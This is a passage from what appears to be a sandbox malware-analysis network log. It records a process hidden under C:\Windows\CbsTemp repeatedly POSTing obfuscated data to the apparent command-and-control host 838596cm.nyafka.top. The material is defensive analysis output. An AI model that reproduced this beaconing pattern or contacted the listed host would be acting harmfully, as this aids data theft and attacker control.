cfL4;desc="?proto=TCP&rtt=2973&min_rtt=1479&rtt_var=3544&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=108663&cwnd=180&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49987	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:17.969945908 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:18.317080975 CET	2532	OUT	Data Raw: 55 50 5b 53 59 5b 53 5e 5e 5f 57 54 56 5c 59 5a 57 5f 58 5b 50 58 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP[SY[S^^_WTV\YZW_X[PXV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+(<%#&Z=[9,0?>>;5X&+9(18=3!-,?#_&'P-/
Jan 8, 2025 17:13:18.433146000 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:18.667149067 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=isVYvlaP6wE%2FCm356SwRGv0K4aI9E9fggeuPXHvxkXsriQaOlTgsqXvCdbxeuQqYH2Jx3v9dAIGDqo6IF9iCc99yj7Io3mu7JIL3tmQMgUVh9XoQjUP%2F7ClSv83rE3dhz8ZGpJn%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed795decc20f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3020&min_rtt=1698&rtt_var=3281&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=118911&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49991	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:19.026463985 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2528 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:19.379642010 CET	2528	OUT	Data Raw: 50 56 5e 50 59 51 56 5d 5e 5f 57 54 56 5e 59 5c 57 55 58 5a 50 58 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PV^PYQV]^_WTV^Y\WUXZPXV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+(Y'#=-.$+[>>)+*&;)++)0\ =9/#_&'P-?
Jan 8, 2025 17:13:19.478420019 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:19.717489004 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VBmM2fsn8k1qO04SMqAzVyRcro7RfqyrSSJktmixwVnp9H1I1y2Wov%2FZQKQ7SAzmDFTLL%2BiCM5W%2FOh1yyZ%2BtxkWcGgq0wTAEGg7NHdxKjFZi0BuxcsBNa72h4tkmgTo72ss8ZcpI"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7964783b424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2874&min_rtt=1601&rtt_var=3147&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2877&delivery_rate=123865&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49999	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:19.859055996 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:20.208302975 CET	2532	OUT	Data Raw: 55 57 5b 50 59 5b 56 59 5e 5f 57 54 56 5b 59 5b 57 54 58 5a 50 5d 56 59 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UW[PY[VY^_WTV[Y[WTXZP]VY[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+^7$#==.5Y.'/Y>9\>;5X&8-<1'Y),4\ .'_.?#_&'P-3
Jan 8, 2025 17:13:20.331048965 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:20.584453106 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=pz47lUiGRFeK9QfyKphwd2x%2BTPJvJSoTGL3G6hzOoFI9Mn2eim0lxc%2FBSRcuS%2FeBgBvDGmc3nKzPhKugfuyeceaZtpTT62a1kYWl3ZaPGZljTMxZbaY0z7WETAMse%2BnvIb5Kcs0T"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7969cbe2727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4663&min_rtt=2086&rtt_var=5936&sent=4&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=64305&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	50008	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:20.716937065 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50010	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:20.866930008 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 1852 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:21.223324060 CET	1852	OUT	Data Raw: 50 52 5b 55 5c 5a 53 5f 5e 5f 57 54 56 57 59 5e 57 55 58 5f 50 5d 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PR[U\ZS_^_WTVWY^WUX_P]V[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ X;($ 2^===X;/>2;$++/"/Y,/#_&'P-
Jan 8, 2025 17:13:21.610785007 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:21.611258984 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:21.611335039 CET	958	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=EZmNRcnRSoo3TSsDk3Juh%2BOvQMgbN3%2FahzufVGwv5XZNlCre9SQdaf%2Bfa0GyrM19HscoOSfUxlOSgyuEeLylo%2Bctdz91GcbTwJGjYc6uxk3zQukNy25dHr6f1BEsZuzl%2F7YubRfY"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79701be4727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3353&min_rtt=2081&rtt_var=3326&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2201&delivery_rate=119047&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 39 38 0d 0a 03 1d 24 11 33 04 28 13 37 2b 29 56 3f 39 38 07 3d 33 08 10 39 39 3c 59 25 1d 33 07 32 05 34 5c 23 2f 03 1c 2a 38 07 58 24 0f 33 09 2b 2b 20 5c 04 1f 24 5f 3f 38 0f 1d 3e 06 29 04 27 0d 31 5a 32 0a 24 5d 31 03 01 13 27 3a 39 0d 20 3a 23 13 2f 0d 2e 51 2e 28 0a 1e 3c 37 0e 12 27 2e 2f 50 0f 10 3b 0a 2e 29 0e 00 21 0f 39 0a 22 55 23 1e 37 26 20 5e 2a 2e 30 0d 35 06 32 02 33 55 39 19 21 32 27 55 25 33 37 5d 2b 31 20 54 28 09 24 55 2c 02 2c 49 02 3f 58 52 0d 0a 30 0d 0a 0d 0a Data Ascii: 98$3(7+)V?98=399<Y%324\#/8X$3++ \$_?8>)'1Z2$]1':9 :#/.Q.(<7'./P;.)!9"U#7& ^.0523U9!2'U%37]+1 T($U,,I?XR0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50011	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:21.046741962 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:21.404030085 CET	2532	OUT	Data Raw: 55 51 5e 52 5c 5d 56 59 5e 5f 57 54 56 56 59 58 57 56 58 5d 50 5a 56 5b 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ^R\]VY^_WTVVYXWVX]PZV[[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ Z((_0#1*=X;$Z)X%Z);![0>+;),4["[(.?#_&'P-
Jan 8, 2025 17:13:21.611133099 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:21.702506065 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:21.978204012 CET	805	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=KWbeIpt5JYrOBt9lVoF1nEYgFbQrICG923L%2Fell2gvIBc1LtENXpsPIXpMWKi7YPUUaIhT5%2BMXFAZEmNEn0wQnig6w%2FudZHUWvTQqJeuzb2I6wAAaGGVY5QkYc39PepN62Vsn9gk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79710c70424b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3116&min_rtt=1593&rtt_var=3643&sent=4&recv=7&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=105966&cwnd=247&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	50013	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:22.108233929 CET	325	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue
Jan 8, 2025 17:13:22.457716942 CET	2532	OUT	Data Raw: 55 50 5b 55 59 5d 56 5d 5e 5f 57 54 56 59 59 58 57 51 58 53 50 5b 56 5f 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UP[UY]V]^_WTVYYXWQXSP[V_[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#+X$0=*=18'(>.)Z>Y&8>?;Y=,("?\,/#_&'P-
Jan 8, 2025 17:13:22.580354929 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:22.827003002 CET	804	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=APrQ6N5dF7nfpYMhcmNh8kiIMN3Yy0TJ%2FydxhIxL0iWTf0ZP4GHSBHr9D%2F58HUAqlaKkvdMFKxURaObXkgjc%2FcdHOWTj2giqhfleNqlFGN0c6fZLzN6vcGLP2KaopCtm1NrgzMVn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed7977cc4c0f5b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4352&min_rtt=1658&rtt_var=6011&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2857&delivery_rate=62884&cwnd=220&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50014	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:23.041907072 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:23.395015955 CET	2532	OUT	Data Raw: 55 5c 5e 53 5c 5b 56 5b 5e 5f 57 54 56 5c 59 5d 57 52 58 52 50 58 56 51 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: U\^S\[V[^_WTV\Y]WRXRPXVQ[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\#<+]$#Y?-/+[>>1_)(6$;<#>(X >;\-#_&'P-/
Jan 8, 2025 17:13:23.505584002 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:23.666415930 CET	806	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=E1HH6hkVpvUnEOuxQymZHuY01eAnx8XYtmZCXhM4YOA0JE9eAtOwXoaCQOuGzF%2Ba5P1H%2B7ZBBW4ylbicouKRdvBjswDgTZid55RW%2Bt4S6HCL9MzGlpjIuQwp7VOPO9EwluV9n%2F1I"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed797d9eca727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=4036&min_rtt=1986&rtt_var=4845&sent=2&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=79399&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	50015	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:23.916335106 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:24.273544073 CET	2532	OUT	Data Raw: 50 57 5b 57 59 5b 56 5e 5e 5f 57 54 56 56 59 59 57 54 58 58 50 5d 56 5c 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: PW[WY[V^^_WTVVYYWTXXP]V\[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ ^+(7]'01?.%.$/\>.%]8'2R?<*<8"+^-?#_&'P-
Jan 8, 2025 17:13:24.365647078 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:24.602312088 CET	802	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fZO5P5CcVmBdrXLvfmZMPqMA%2BsUFp7Sox2LEf0Xsr3SH%2B9PaNjtoVpa8A99045xoiVU0olrH3QxAg8VKVnOiVW6u0YT9JT3Rm1dYRWSBM1wHY84HoH2zQf3KEq4vKeD262DK0Btu"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79830ba5729f-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1982&min_rtt=1973&rtt_var=746&sent=3&recv=5&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=739989&cwnd=168&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	50016	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:24.732119083 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
Jan 8, 2025 17:13:25.082448959 CET	2532	OUT	Data Raw: 55 51 5e 55 59 5b 56 5b 5e 5f 57 54 56 5c 59 5e 57 56 58 52 50 54 56 50 5b 45 5a 5b 5b 5d 56 5e 5b 5a 5e 5a 56 59 52 5c 5a 57 57 53 56 5c 5a 5b 57 57 5e 5a 42 59 57 52 57 5e 55 5e 5a 52 5e 5b 5d 56 5e 5f 5e 58 51 58 5a 58 5d 56 5d 58 59 5c 52 52 Data Ascii: UQ^UY[V[^_WTV\Y^WVXRPTVP[EZ[[]V^[Z^ZVYR\ZWWSV\Z[WW^ZBYWRW^U^ZR^[]V^_^XQXZX]V]XY\RRXWSYZYSVV]ZZUTY]BVU\Y\YPXQYSAX[@__C[\W_][WY_CS]TYW\QP_BWV_SD[WSXPARS[W^E\VZ\TXF\YZ^]W^YDRZ[_S^[UXU]\U\ _<^ $#=-"/>.==!Z$%+2)<#".#_&'P-/
Jan 8, 2025 17:13:25.198436975 CET	25	IN	HTTP/1.1 100 Continue
Jan 8, 2025 17:13:25.429018021 CET	807	IN	HTTP/1.1 200 OK Date: Wed, 08 Jan 2025 16:13:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=BZeczPGpn3nTb%2Figh0aI7GIcTgyB%2B1lttex62jcIjRBEaGih43Lixhl0OaOAakeBKCiyFxUefUgmTV%2FQgf8Y18CJwtBZq9lIIKkbs5UMkD0wwFnISLeJ5TbnK%2FAHThrjF88ZNzoA"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8fed79882bc5727b-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=3509&min_rtt=2040&rtt_var=3703&sent=3&recv=6&lost=0&retrans=0&sent_bytes=25&recv_bytes=2881&delivery_rate=105858&cwnd=233&unsent_bytes=0&cid=0000000000000000&ts=0&x=0" Data Raw: 34 0d 0a 31 55 5d 5b 0d 0a 30 0d 0a 0d 0a Data Ascii: 41U][0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50017	104.21.112.1	80	8200	C:\Windows\CbsTemp\KocFkUIHAfhPoyuBQDEUMiWWSPCixy.exe

Timestamp	Bytes transferred	Direction	Data
Jan 8, 2025 17:13:25.556583881 CET	349	OUT	POST /lineLongpolllinuxFlowercentraluploads.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.45 Safari/537.36 Edg/96.0.1054.29 Host: 838596cm.nyafka.top Content-Length: 2532 Expect: 100-continue Connection: Keep-Alive
